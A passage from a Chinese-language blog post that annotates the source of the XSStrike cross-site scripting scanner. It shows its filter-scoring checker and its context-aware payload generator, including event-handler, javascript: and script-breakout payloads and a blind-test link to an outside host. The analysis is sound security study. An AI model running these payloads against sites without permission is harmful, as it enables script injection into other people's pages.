添加<,>,-->,</scRipT/>,&lt;等特殊符号的集合</span></span><br><span class="line"> <span class="keyword">for</span> environment <span class="keyword">in</span> environments:</span><br><span class="line"> <span class="keyword">if</span> environment:</span><br><span class="line"> <span class="comment"># 获取特殊字符编码情况</span></span><br><span class="line"> efficiencies = checker(</span><br><span class="line"> url, params, headers, GET, delay, environment, positions, timeout, encoding)</span><br><span class="line"></span><br><span class="line"> efficiencies.extend([<span class="number">0</span>] * (<span class="built_in">len</span>(occurences) - <span class="built_in">len</span>(efficiencies)))</span><br><span class="line"> <span class="keyword">for</span> occurence, efficiency <span class="keyword">in</span> <span class="built_in">zip</span>(occurences, efficiencies):</span><br><span class="line"> <span class="comment"># 之前的occurences,添加一个分数键'score': {'<': 100, '"': 100, '>': 100}}}</span></span><br><span class="line"> occurences[occurence][<span class="string">'score'</span>][environment] = efficiency</span><br><span class="line"> <span class="keyword">return</span> occurences</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="4-3-checker-py"><a href="#4-3-checker-py" class="headerlink" title="4.3 checker.py"></a>4.3 checker.py</h3><h4 id="函数:"><a href="#函数:" class="headerlink" title="函数:"></a>函数:</h4><p>def checker(url, params, headers, GET, delay, payload, positions, timeout, encoding):</p><h4 id="结构图:-5"><a href="#结构图:-5" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="3-1369888.png" alt="1"></p><h4 id="功能:"><a href="#功能:" class="headerlink" title="功能:"></a>功能:</h4><p>判断输入的特殊字符是否被编码,并根据编码情况进行打分</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> copy</span><br><span class="line"><span class="keyword">from</span> fuzzywuzzy <span class="keyword">import</span> fuzz</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">from</span> urllib.parse <span class="keyword">import</span> unquote</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> core.config <span class="keyword">import</span> xsschecker</span><br><span class="line"><span class="keyword">from</span> core.requester <span class="keyword">import</span> requester</span><br><span class="line"><span class="keyword">from</span> core.utils <span class="keyword">import</span> replaceValue, fillHoles</span><br><span class="line"></span><br><span class="line"><span class="comment"># 判断输入的特殊字符是否被编码,并根据编码情况进行打分</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">checker</span>(<span class="params">url, params, headers, GET, delay, payload, positions, timeout, encoding</span>):</span></span><br><span class="line"> <span class="comment"># payload为<,>,-->,</scRipT/>,&lt;等</span></span><br><span class="line"> checkString = <span class="string">'st4r7s'</span> + payload + <span class="string">'3nd'</span></span><br><span class="line"> <span class="keyword">if</span> encoding:</span><br><span class="line"> checkString = encoding(unquote(checkString))</span><br><span class="line"> response = requester(url, replaceValue(</span><br><span class="line"> params, xsschecker, checkString, copy.deepcopy), headers, GET, delay, timeout).text.lower()</span><br><span class="line"> reflectedPositions = []</span><br><span class="line"> <span class="comment"># 查找response中的st4r7s,然后开始迭代查找到的结果</span></span><br><span class="line"> <span class="keyword">for</span> match <span class="keyword">in</span> re.finditer(<span class="string">'st4r7s'</span>, response):</span><br><span class="line"> reflectedPositions.append(match.start())</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 将positions和reflectedPositions填充对齐,返回reflectedPositions列表</span></span><br><span class="line"> filledPositions = fillHoles(positions, reflectedPositions)</span><br><span class="line"> <span class="comment"># Itretating over the reflections</span></span><br><span class="line"> num = <span class="number">0</span></span><br><span class="line"> efficiencies = []</span><br><span class="line"> <span class="keyword">for</span> position <span class="keyword">in</span> filledPositions:</span><br><span class="line"> allEfficiencies = []</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> reflected = response[reflectedPositions[num]</span><br><span class="line"> :reflectedPositions[num]+<span class="built_in">len</span>(checkString)]</span><br><span class="line"> <span class="comment"># 通过对比编码差异,给出分数</span></span><br><span class="line"> efficiency = fuzz.partial_ratio(reflected, checkString.lower())</span><br><span class="line"> allEfficiencies.append(efficiency)</span><br><span class="line"> <span class="keyword">except</span> IndexError:</span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"> <span class="keyword">if</span> position:</span><br><span class="line"> reflected = response[position:position+<span class="built_in">len</span>(checkString)]</span><br><span class="line"> <span class="keyword">if</span> encoding:</span><br><span class="line"> checkString = encoding(checkString.lower())</span><br><span class="line"> efficiency = fuzz.partial_ratio(reflected, checkString)</span><br><span class="line"> <span class="keyword">if</span> reflected[:-<span class="number">2</span>] == (<span class="string">'\\%s'</span> % checkString.replace(<span class="string">'st4r7s'</span>, <span class="string">''</span>).replace(<span class="string">'3nd'</span>, <span class="string">''</span>)):</span><br><span class="line"> efficiency = <span class="number">90</span></span><br><span class="line"> allEfficiencies.append(efficiency)</span><br><span class="line"> efficiencies.append(<span class="built_in">max</span>(allEfficiencies))</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> efficiencies.append(<span class="number">0</span>)</span><br><span class="line"> num += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">list</span>(<span class="built_in">filter</span>(<span class="literal">None</span>, efficiencies))</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="5-paylaod生成分析"><a href="#5-paylaod生成分析" class="headerlink" title="5.paylaod生成分析"></a>5.paylaod生成分析</h2><p>paylaod模块主要依赖两个函数。core/generator.py#generator,core/utils.py#genGen</p><h3 id="5-1-core-generator-py"><a href="#5-1-core-generator-py" class="headerlink" title="5.1 core/generator.py"></a>5.1 core/generator.py</h3><h4 id="函数:def-generator-occurences-response"><a href="#函数:def-generator-occurences-response" class="headerlink" title="函数:def generator(occurences, response):"></a>函数:def generator(occurences, response):</h4><h4 id="结构图:-6"><a href="#结构图:-6" class="headerlink" title="结构图:"></a>结构图:</h4><p><img src="5.png" alt="1"></p><h4 id="实现细节:-2"><a href="#实现细节:-2" class="headerlink" title="实现细节:"></a>实现细节:</h4><p>根据occurences集合生成payload<br>主要判断依据context,特殊符号过滤分数等因素来迭代组合<br>回显在html文本中:会判断是否在<code>badTag(style|template|textarea|title|noembed|noscript)</code>中。<br>回显在<code><></code>标签中:</p><p>回显点在value中,判断是srcdoc/href链接属性,还是以on开头的事件</p><pre><code> # srcdoc:将<>html实体编码,在url编码为%26gt;,%26lt; # href:在弹窗触发函数前加javascript: # 以on开头的事件: xsschecker回显在src,iframe,embed等属性的值中。则添加盲测链接进行盲测 在object的data属性中,在function前面添加javascript</code></pre><p>回显点在script标签中: 闭合,<code>},],),/*</code> 组合payload<br>回显点在注释中: 相比回显点在html正文中,少了badTag</p><h4 id="源码:-5"><a href="#源码:-5" class="headerlink" title="源码:"></a>源码:</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> core.config <span class="keyword">import</span> xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions</span><br><span class="line"><span class="keyword">from</span> core.jsContexter <span class="keyword">import</span> jsContexter</span><br><span class="line"><span class="keyword">from</span> core.utils <span class="keyword">import</span> randomUpper <span class="keyword">as</span> r, genGen, extractScripts</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 根据occurences集合生成payload</span></span><br><span class="line"><span class="comment"># 主要判断依据context,特殊符号过滤分数等因素来迭代组合</span></span><br><span class="line"><span class="comment"># 回显在html文本中:会判断是否在badTag(style|template|textarea|title|noembed|noscript)中</span></span><br><span class="line"><span class="comment"># 回显在<>标签中:</span></span><br><span class="line"><span class="comment"># # 在value中,判断是srcdoc/href链接属性,还是以on开头的事件</span></span><br><span class="line"><span class="comment"># # srcdoc:将<>html实体编码,在url编码为%26gt;,%26lt;</span></span><br><span class="line"><span class="comment"># # href:在弹窗触发函数前加javascript:</span></span><br><span class="line"><span class="comment"># # 以on开头的事件:</span></span><br><span class="line"><span class="comment"># xsschecker回显在src,iframe,embed等属性的值中。则添加链接进行盲测</span></span><br><span class="line"><span class="comment"># 在object的data属性中,在function前面添加javascript</span></span><br><span class="line"><span class="comment"># 回显点在script标签中: 闭合,},],),/* 组合payload</span></span><br><span class="line"><span class="comment"># 回显点在注释中: 相比回显点在html正文中,少了badTag</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">generator</span>(<span class="params">occurences, response</span>):</span></span><br><span class="line"> <span class="comment"># 提取response中的所有<script></span></span><br><span class="line"> scripts = extractScripts(response)</span><br><span class="line"> index = <span class="number">0</span></span><br><span class="line"> <span class="comment"># 向量集合</span></span><br><span class="line"> vectors = {<span class="number">11</span>: <span class="built_in">set</span>(), <span class="number">10</span>: <span class="built_in">set</span>(), <span class="number">9</span>: <span class="built_in">set</span>(), <span class="number">8</span>: <span class="built_in">set</span>(), <span class="number">7</span>: <span class="built_in">set</span>(),</span><br><span class="line"> <span class="number">6</span>: <span class="built_in">set</span>(), <span class="number">5</span>: <span class="built_in">set</span>(), <span class="number">4</span>: <span class="built_in">set</span>(), <span class="number">3</span>: <span class="built_in">set</span>(), <span class="number">2</span>: <span class="built_in">set</span>(), <span class="number">1</span>: <span class="built_in">set</span>()}</span><br><span class="line"> <span class="comment">#</span></span><br><span class="line"> <span class="keyword">for</span> i <span class="keyword">in</span> occurences:</span><br><span class="line"> context = occurences[i][<span class="string">'context'</span>]</span><br><span class="line"> <span class="comment"># 回显点在html文本中的类型</span></span><br><span class="line"> <span class="keyword">if</span> context == <span class="string">'html'</span>:</span><br><span class="line"> <span class="comment"># 获取<>的过滤情况</span></span><br><span class="line"> lessBracketEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'<'</span>]</span><br><span class="line"> greatBracketEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'>'</span>]</span><br><span class="line"> ends = [<span class="string">'//'</span>]</span><br><span class="line"> <span class="comment"># 获取回显点在(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*</\1>中的情况</span></span><br><span class="line"> badTag = occurences[i][<span class="string">'details'</span>][<span class="string">'badTag'</span>] <span class="keyword">if</span> <span class="string">'badTag'</span> <span class="keyword">in</span> occurences[i][<span class="string">'details'</span>] <span class="keyword">else</span> <span class="string">''</span></span><br><span class="line"> <span class="comment"># >没有编码,则添加到ends中</span></span><br><span class="line"> <span class="keyword">if</span> greatBracketEfficiency == <span class="number">100</span>:</span><br><span class="line"> ends.append(<span class="string">'>'</span>)</span><br><span class="line"> <span class="keyword">if</span> lessBracketEfficiency:</span><br><span class="line"> <span class="comment"># fillings = ('%09', '%0a', '%0d', '/+/') #代替空格</span></span><br><span class="line"> <span class="comment"># eFillings = ('%09', '%0a', '%0d', '+')</span></span><br><span class="line"> <span class="comment"># lFillings = ('', '%0dx') # "Things" that can be used before > e.g. <tag attr=value%0dx></span></span><br><span class="line"> <span class="comment"># eventHandlers = { 'ontoggle': ['details'],'onpointerenter': ['d3v', 'details', 'html', 'a'],'onmouseover': ['a', 'html', 'd3v']}</span></span><br><span class="line"> <span class="comment"># tags = ('html', 'd3v', 'a', 'details') # HTML Tags</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># functions = ( # JavaScript functions to get a popup</span></span><br><span class="line"> <span class="comment"># '[8].find(confirm)', 'confirm()',</span></span><br><span class="line"> <span class="comment"># '(confirm)()', 'co\u006efir\u006d()',</span></span><br><span class="line"> <span class="comment"># '(prompt)``', 'a=prompt,a()')</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># ends=['//','>']</span></span><br><span class="line"> <span class="comment"># badTag 获取回显点在(?s)(?i)<(style|template|textarea|title|noembed|noscript)>[.\s\S]*(%s)[.\s\S]*</\1>中的情况</span></span><br><span class="line"></span><br><span class="line"> <span class="comment"># 组合出的payload列表</span></span><br><span class="line"> payloads = genGen(fillings, eFillings, lFillings,</span><br><span class="line"> eventHandlers, tags, functions, ends, badTag)</span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> vectors[<span class="number">10</span>].add(payload)</span><br><span class="line"> <span class="comment"># 回显点在<>html标签中</span></span><br><span class="line"> <span class="keyword">elif</span> context == <span class="string">'attribute'</span>:</span><br><span class="line"> found = <span class="literal">False</span></span><br><span class="line"> tag = occurences[i][<span class="string">'details'</span>][<span class="string">'tag'</span>]</span><br><span class="line"> <span class="type">Type</span> = occurences[i][<span class="string">'details'</span>][<span class="string">'type'</span>]</span><br><span class="line"> quote = occurences[i][<span class="string">'details'</span>][<span class="string">'quote'</span>] <span class="keyword">or</span> <span class="string">''</span></span><br><span class="line"> attributeName = occurences[i][<span class="string">'details'</span>][<span class="string">'name'</span>]</span><br><span class="line"> attributeValue = occurences[i][<span class="string">'details'</span>][<span class="string">'value'</span>]</span><br><span class="line"> quoteEfficiency = occurences[i][<span class="string">'score'</span>][quote] <span class="keyword">if</span> quote <span class="keyword">in</span> occurences[i][<span class="string">'score'</span>] <span class="keyword">else</span> <span class="number">100</span></span><br><span class="line"> greatBracketEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'>'</span>]</span><br><span class="line"> ends = [<span class="string">'//'</span>]</span><br><span class="line"> <span class="comment"># 根据特殊符号的过滤情况添加,>,<等符号组合payload</span></span><br><span class="line"> <span class="keyword">if</span> greatBracketEfficiency == <span class="number">100</span>:</span><br><span class="line"> ends.append(<span class="string">'>'</span>)</span><br><span class="line"> <span class="keyword">if</span> greatBracketEfficiency == <span class="number">100</span> <span class="keyword">and</span> quoteEfficiency == <span class="number">100</span>:</span><br><span class="line"> payloads = genGen(fillings, eFillings, lFillings,</span><br><span class="line"> eventHandlers, tags, functions, ends)</span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> payload = quote + <span class="string">'>'</span> + payload</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">9</span>].add(payload)</span><br><span class="line"> <span class="keyword">if</span> quoteEfficiency == <span class="number">100</span>:</span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> fillings:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> vector = quote + filling + r(<span class="string">'autofocus'</span>) + \</span><br><span class="line"> filling + r(<span class="string">'onfocus'</span>) + <span class="string">'='</span> + quote + function</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">8</span>].add(vector)</span><br><span class="line"> <span class="keyword">if</span> quoteEfficiency == <span class="number">90</span>:</span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> fillings:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> vector = <span class="string">'\\'</span> + quote + filling + r(<span class="string">'autofocus'</span>) + filling + \</span><br><span class="line"> r(<span class="string">'onfocus'</span>) + <span class="string">'='</span> + function + filling + <span class="string">'\\'</span> + quote</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">7</span>].add(vector)</span><br><span class="line"> <span class="comment"># 在value中,判断是srcdoc/href链接属性,还是以on开头的事件</span></span><br><span class="line"> <span class="comment"># srcdoc:将<>html实体编码,在url编码为%26gt;,%26lt;</span></span><br><span class="line"> <span class="comment"># href:在弹窗触发函数前加javascript:</span></span><br><span class="line"> <span class="comment"># 以on开头的事件:</span></span><br><span class="line"> <span class="keyword">if</span> <span class="type">Type</span> == <span class="string">'value'</span>:</span><br><span class="line"> <span class="keyword">if</span> attributeName == <span class="string">'srcdoc'</span>:</span><br><span class="line"> <span class="keyword">if</span> occurences[i][<span class="string">'score'</span>][<span class="string">'&lt;'</span>]:</span><br><span class="line"> <span class="keyword">if</span> occurences[i][<span class="string">'score'</span>][<span class="string">'&gt;'</span>]:</span><br><span class="line"> <span class="keyword">del</span> ends[:]</span><br><span class="line"> ends.append(<span class="string">'%26gt;'</span>)</span><br><span class="line"> payloads = genGen(</span><br><span class="line"> fillings, eFillings, lFillings, eventHandlers, tags, functions, ends)</span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">9</span>].add(payload.replace(<span class="string">'<'</span>, <span class="string">'%26lt;'</span>))</span><br><span class="line"> <span class="keyword">elif</span> attributeName == <span class="string">'href'</span> <span class="keyword">and</span> attributeValue == xsschecker:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">10</span>].add(r(<span class="string">'javascript:'</span>) + function)</span><br><span class="line"> <span class="comment">#</span></span><br><span class="line"> <span class="keyword">elif</span> attributeName.startswith(<span class="string">'on'</span>):</span><br><span class="line"> closer = jsContexter(attributeValue)</span><br><span class="line"> quote = <span class="string">''</span></span><br><span class="line"> <span class="comment"># 判断xsschecker回显点是否在',",`中</span></span><br><span class="line"> <span class="keyword">for</span> char <span class="keyword">in</span> attributeValue.split(xsschecker)[<span class="number">1</span>]:</span><br><span class="line"> <span class="keyword">if</span> char <span class="keyword">in</span> [<span class="string">'\''</span>, <span class="string">'"'</span>, <span class="string">'`'</span>]:</span><br><span class="line"> quote = char</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="comment"># 添加截断;//</span></span><br><span class="line"> suffix = <span class="string">'//\\'</span></span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> jFillings:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> vector = quote + closer + filling + function + suffix</span><br><span class="line"> <span class="keyword">if</span> found:</span><br><span class="line"> vectors[<span class="number">7</span>].add(vector)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> vectors[<span class="number">9</span>].add(vector)</span><br><span class="line"> <span class="keyword">if</span> quoteEfficiency > <span class="number">83</span>:</span><br><span class="line"> suffix = <span class="string">'//'</span></span><br><span class="line"> <span class="keyword">for</span> filling <span class="keyword">in</span> jFillings:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> <span class="comment"># 为function添加()</span></span><br><span class="line"> <span class="keyword">if</span> <span class="string">'='</span> <span class="keyword">in</span> function:</span><br><span class="line"> function = <span class="string">'('</span> + function + <span class="string">')'</span></span><br><span class="line"> <span class="comment"># 如果没有在'/', '\'', '`', '"'中则将filling置空,不用;进行截断</span></span><br><span class="line"> <span class="keyword">if</span> quote == <span class="string">''</span>:</span><br><span class="line"> filling = <span class="string">''</span></span><br><span class="line"> vector = <span class="string">'\\'</span> + quote + closer + filling + function + suffix</span><br><span class="line"> <span class="keyword">if</span> found:</span><br><span class="line"> vectors[<span class="number">7</span>].add(vector)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> vectors[<span class="number">9</span>].add(vector)</span><br><span class="line"> <span class="comment"># 如果在以下标签中</span></span><br><span class="line"> <span class="keyword">elif</span> tag <span class="keyword">in</span> (<span class="string">'script'</span>, <span class="string">'iframe'</span>, <span class="string">'embed'</span>, <span class="string">'object'</span>):</span><br><span class="line"> <span class="comment"># xsschecker回显在src,iframe,embed等属性的值中。则添加链接进行盲测</span></span><br><span class="line"> <span class="keyword">if</span> attributeName <span class="keyword">in</span> (<span class="string">'src'</span>, <span class="string">'iframe'</span>, <span class="string">'embed'</span>) <span class="keyword">and</span> attributeValue == xsschecker:</span><br><span class="line"> payloads = [<span class="string">'//15.rs'</span>, <span class="string">'\\/\\\\\\/\\15.rs'</span>]</span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> vectors[<span class="number">10</span>].add(payload)</span><br><span class="line"> <span class="comment"># 在object的data属性中,在function前面添加javascript</span></span><br><span class="line"> <span class="keyword">elif</span> tag == <span class="string">'object'</span> <span class="keyword">and</span> attributeName == <span class="string">'data'</span> <span class="keyword">and</span> attributeValue == xsschecker:</span><br><span class="line"> <span class="keyword">for</span> function <span class="keyword">in</span> functions:</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">10</span>].add(r(<span class="string">'javascript:'</span>) + function)</span><br><span class="line"> <span class="comment"># 没有过滤</span></span><br><span class="line"> <span class="keyword">elif</span> quoteEfficiency == greatBracketEfficiency == <span class="number">100</span>:</span><br><span class="line"> payloads = genGen(fillings, eFillings, lFillings,</span><br><span class="line"> eventHandlers, tags, functions, ends)</span><br><span class="line"> <span class="comment"># 在payload前添加</script/>进行闭合</span></span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> payload = quote + <span class="string">'>'</span> + r(<span class="string">'</script/>'</span>) + payload</span><br><span class="line"> found = <span class="literal">True</span></span><br><span class="line"> vectors[<span class="number">11</span>].add(payload)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 回显点在注释中</span></span><br><span class="line"> <span class="keyword">elif</span> context == <span class="string">'comment'</span>:</span><br><span class="line"> lessBracketEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'<'</span>]</span><br><span class="line"> greatBracketEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'>'</span>]</span><br><span class="line"> ends = [<span class="string">'//'</span>]</span><br><span class="line"> <span class="keyword">if</span> greatBracketEfficiency == <span class="number">100</span>:</span><br><span class="line"> ends.append(<span class="string">'>'</span>)</span><br><span class="line"> <span class="keyword">if</span> lessBracketEfficiency == <span class="number">100</span>:</span><br><span class="line"> <span class="comment"># 相比回显点在html正文中,少了badTag</span></span><br><span class="line"> payloads = genGen(fillings, eFillings, lFillings,</span><br><span class="line"> eventHandlers, tags, functions, ends)</span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> vectors[<span class="number">10</span>].add(payload)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># 回显点在script标签中</span></span><br><span class="line"> <span class="keyword">elif</span> context == <span class="string">'script'</span>:</span><br><span class="line"> <span class="keyword">if</span> scripts:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> script = scripts[index]</span><br><span class="line"> <span class="keyword">except</span> IndexError:</span><br><span class="line"> script = scripts[<span class="number">0</span>]</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="keyword">continue</span></span><br><span class="line"> <span class="comment"># 闭合,},],),/* 组合payload</span></span><br><span class="line"> closer = jsContexter(script)</span><br><span class="line"> quote = occurences[i][<span class="string">'details'</span>][<span class="string">'quote'</span>]</span><br><span class="line"> scriptEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'</scRipT/>'</span>]</span><br><span class="line"> greatBracketEfficiency = occurences[i][<span class="string">'score'</span>][<span class="string">'>'</span>]</span><br><span class="line"> breakerEfficiency = <span class="number">100</span></span><br><span class="line"> <span class="keyword">if</span> quote:</span><br><span class="line"> breakerEfficiency = occurences[i][<span class="string">'score'</span>][quote]</span><br><span class="line"> ends = [<span class="string">'//'</span>]</span><br><span class="line"> <span class="keyword">if</span> greatBracketEfficiency == <span class="number">100</span>:</span><br><span class="line"> ends.append(<span class="string">'>'</span>)</span><br><span class="line"> <span class="keyword">if</span> scriptEfficiency == <span class="number">100</span>:</span><br><span class="line"> breaker = r(<span class="string">'</script/>'</span>)</span><br><span class="line"> <span class="comment"># 生成paylaods</span></span><br><span class="line"> payloads = genGen(fillings, eFillings, lFillings,</span><br><span class="line"> eventHandlers, tags, functions, ends)</span><br><span class="line"> <span class="keyword">for</span> payload <span class="keyword">in</span> payloads:</span><br><span class="line"> vectors[<span class="number">10</span>].add(payload)</span><br><span class="line"> <span class="keyword">if</span> closer:</span><br><span 